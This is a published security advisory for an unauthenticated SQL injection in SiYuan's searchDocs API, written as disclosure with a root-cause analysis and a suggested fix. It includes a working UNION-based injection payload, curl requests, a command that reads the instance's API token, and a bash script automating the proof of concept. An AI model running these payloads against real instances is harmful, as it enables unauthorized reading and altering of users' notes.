---
id: GHSA-33jq-p8c2-q3q4
title: >-
  SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword
  (publish mode): cross-notebook read/write with statement stacking
summary: >-
  SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword
  (publish mode): cross-notebook read/write with statement stacking
severity: critical
cvss: 10
cwe:
  - CWE-89
vendor: siyuan-note
product: github.com/siyuan-note/siyuan/kernel
ecosystem: go
affected:
  - github.com/siyuan-note/siyuan/kernel < 0.0.0-20260721043339-eef10568384e
patched:
  - github.com/siyuan-note/siyuan/kernel 0.0.0-20260721043339-eef10568384e
published: '2026-10-01'
updated: '2026-10-01'
sourceUpdated: '2026-10-01T14:38:49Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-33jq-p8c2-q3q4'
references:
  - url: >-
      https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-69085'
  - url: 'https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3'
  - url: >-
      https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs
  - url: 'https://github.com/advisories/GHSA-33jq-p8c2-q3q4'
tags:
  - ghsa
  - go
ingestedAt: '2026-10-01T14:46:26.708Z'
---

## Overview

### Summary

The `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance.

### Details

Data flow, unescaped and unbound at every hop:

- `searchDocs` (`kernel/api/filetree.go`): `k := arg["k"].(string)` passed straight to `model.SearchDocs(k, …)`, no sanitization.
- `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString("(hpath LIKE '%" + k + "%'")`. No escaping, no `''` doubling, no bind placeholder.
- `NAMFilter` (`kernel/conf/search.go`): appends `" OR name LIKE '%" + keyword + "%'"` (and `alias`, `memo`) the same way, enabled by default.
- `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `"SELECT *, … FROM blocks WHERE type = 'd' AND " + condition + " ORDER BY … LIMIT …"` passed to `query(sqlStmt)`.

The only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement.

**Driver / statement stacking.** The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver's connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs > query()` path does not call them.

**Handle.** The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL&_synchronous=OFF&…` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution.

**Scope.** The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped.

### Impact

An unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`).

## Root cause
The keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding:

- `SearchDocs` builds each condition as `(hpath LIKE '%<token>%' ...)` (`file.go:199`).
- `NAMFilter` appends `OR name LIKE '%<token>%'`, `alias`, `memo` the same way (`search.go:135-142`).
- `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND <condition> ORDER BY box DESC, lv ASC LIMIT <n>` and calls `query()` (`block_query.go:74-75`).
- `query()` calls `db.Query()` with **no** call to the project's own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`).

The only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize.

## Reachability / auth tier
- Route middleware is `model.CheckAuth` only **no** `CheckAdminRole`.
- The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`. 
- The handler applies **no** publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter.
- Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded.

## Proof of concept (read-only discloses `sqlite_version()`)

Demonstrated against a **local** instance. Read-only: the PoC runs a single `SELECT … UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified.

### 1. Prerequisites
- A local SiYuan kernel running (default `http://127.0.0.1:6806`).
- The API token from **Settings > About > API token** (omit if no access-auth code is set).
- One **opened** notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`.

### 2. Why the payload is shaped this way
- The kernel places the keyword as `hpath LIKE '%<K>%'`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%'`, `ORDER BY`, and `LIMIT`.
- The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `/**/` SQL comments.
- `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply **22** values. Only **col 5 (Box)** and **col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field.

## 3. PoC

1. Open the web UI once (unlocks + ensures a notebook is open)

1. Browser > `http://127.0.0.1:6806`
2. Enter the access-auth code: `poctestcode`
3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click ＋ > New notebook, name it anything, and make sure it's open (bold, not greyed).

2. Grab the API token

```
docker exec siyuan-poc grep -o '"token":"[^"]*"' /siyuan/workspace/conf/conf.json
TOKEN="paste_the_token_value_here"
```

3. Get the open notebook's ID

`curl -s -X POST "http://127.0.0.1:6806/api/notebook/lsNotebooks" -H "Authorization: Token $TOKEN"`
Copy an id whose "closed":false, then: `BOX_ID="paste_that_id_here"`

4. Build the request body

```
cat > body.json <<EOF
{"k":"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}
EOF
```

(The heredoc substitutes $BOX_ID for you, no manual editing.)

5. Fire the injection

`curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'`
Expected: the SQLite version string, e.g. `"path":"3.45.1"`, proof the keyword was executed as SQL. Screenshot this for the advisory.

6. Confirm the row is genuinely injected (optional sanity check)

Run the same request with a benign keyword and confirm no version appears:
`curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"'`   # returns nothing
The differential (version appears only with the crafted keyword) is clean evidence for the report.

---
If Step 5 returns empty:
5. Fire the injection

`curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'`
Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory.

6. Confirm the row is genuinely injected (optional sanity check)

Run the same request with a benign keyword and confirm no version appears:
`curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"'`   # returns nothing

The differential (version appears only with the crafted keyword) is clean evidence for the report.

Or you can use this script to do the whole process at once:

```
#!/usr/bin/env bash
#
# siyuan_sqli_poc.sh
# Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing
# sqlite_version() through the search response. Modifies NO data.

set -u
export MSYS_NO_PATHCONV=1   # stop Git Bash from mangling container-absolute paths

# ---- config ---------------------------------------------------------------
BASE="${BASE:-http://127.0.0.1:6806}"
CONTAINER="${CONTAINER:-siyuan-poc}"
CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------

CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------

say()  { printf '\n\033[1m== %s\033[0m\n' "$*"; }
ok()   { printf '\033[32m[OK]\033[0m %s\n' "$*"; }
warn() { printf '\033[33m[!!]\033[0m %s\n' "$*"; }
die()  { printf '\033[31m[XX]\033[0m %s\n' "$*"; exit 1; }

# 1. container up?
say "Checking container"
docker ps --format '{{.Names}}' | grep -qx "$CONTAINER" \
  || die "Container '$CONTAINER' is not running. Start it, then re-run."
ok "container '$CONTAINER' is running"

# 2. API alive?
say "Waiting for kernel API"
for i in $(seq 1 30); do
  if curl -sf "$BASE/api/system/version" >/dev/null 2>&1; then
    ok "API responding at $BASE"; break
  fi
  sleep 1
  [ "$i" = 30 ] && die "API not responding. Open $BASE in a browser, enter the access code, then re-run."
done

# 3. token from conf.json
say "Reading API token"
TOKEN=$(docker exec "$CONTAINER" cat "$CONF" 2>/dev/null \
  | grep -oE '"token"[[:space:]]*:[[:space:]]*"[^"]*"' | head -1 \
  | sed -E 's/.*:[[:space:]]*"([^"]*)".*/\1/')
if [ -n "$TOKEN" ]; then
  ok "token found"
  AUTH=(-H "Authorization: Token $TOKEN")
else
  warn "no token in conf.json (instance may not be initialized, or auth is disabled)."
  warn "  -> open $BASE, enter the access code, let the UI load, then re-run."
  AUTH=()
fi

# 4. an OPEN notebook id
say "Finding an open notebook"
NB=$(curl -s -X POST "$BASE/api/notebook/lsNotebooks" "${AUTH[@]}")
BOX_ID=$(echo "$NB" | tr '}' '\n' | grep '"closed":false' \
  | grep -oE '"id":"[^"]+"' | head -1 | sed -E 's/"id":"([^"]+)"/\1/')
[ -n "$BOX_ID" ] || die "No OPEN notebook found. Open one in the UI ($BASE) and re-run.  Raw: $NB"
ok "using open notebook: $BOX_ID"

# 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version())
say "Building request body"
PAYLOAD="poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"
printf '{"k":"%s"}' "$PAYLOAD" > body.json
ok "wrote body.json"

# 6. fire the injection
say "Sending injection"
RESP=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
  -H "Content-Type: application/json" "${AUTH[@]}" -d @body.json)
VER=$(echo "$RESP" | grep -oE '"path":"[0-9][^"]*"' | head -1 | sed -E 's/"path":"([^"]*)"/\1/')

# 7. benign differential (must NOT return a version)
BENIGN=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
  -H "Content-Type: application/json" "${AUTH[@]}" -d '{"k":"poc"}' \
  | grep -oE '"path":"[0-9][^"]*"' | head -1)

# 8. verdict
say "Result"
if [ -n "$VER" ] && [ -z "$BENIGN" ]; then
  ok "SQL injection CONFIRMED"
  printf '     leaked sqlite_version() = \033[1m%s\033[0m\n' "$VER"
  printf '     (benign keyword returned no version -> value came from injected SQL)\n'
else
  warn "no version surfaced. Checking kernel log for the assembled statement..."
  docker exec "$CONTAINER" sh -c 'grep "sql query" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true
  warn "If you see 'sql query [...] failed', it's a column-count mismatch on this build."
  warn "If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook."
  printf '     raw response: %s\n' "$RESP"
fi
```
`bash siyuan_sqli_poc.sh`

<img width="809" height="376" alt="image" src="https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4" />

### Suggested fix

Parameterize the search. The load-bearing fix is at `SearchDocs` and `NAMFilter`: bind the keyword as a parameter rather than concatenating it, or at minimum escape `'` and the `LIKE` metacharacters and pass via a bound argument. Secondarily, route the `searchDocs > query()` path through the existing `CheckSingleStatement` / `CheckReadonlyStatement` guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with `_query_only=1`.

## Affected packages

- `github.com/siyuan-note/siyuan/kernel < 0.0.0-20260721043339-eef10568384e`

## Remediation

Upgrade to a patched release:

- `github.com/siyuan-note/siyuan/kernel 0.0.0-20260721043339-eef10568384e`
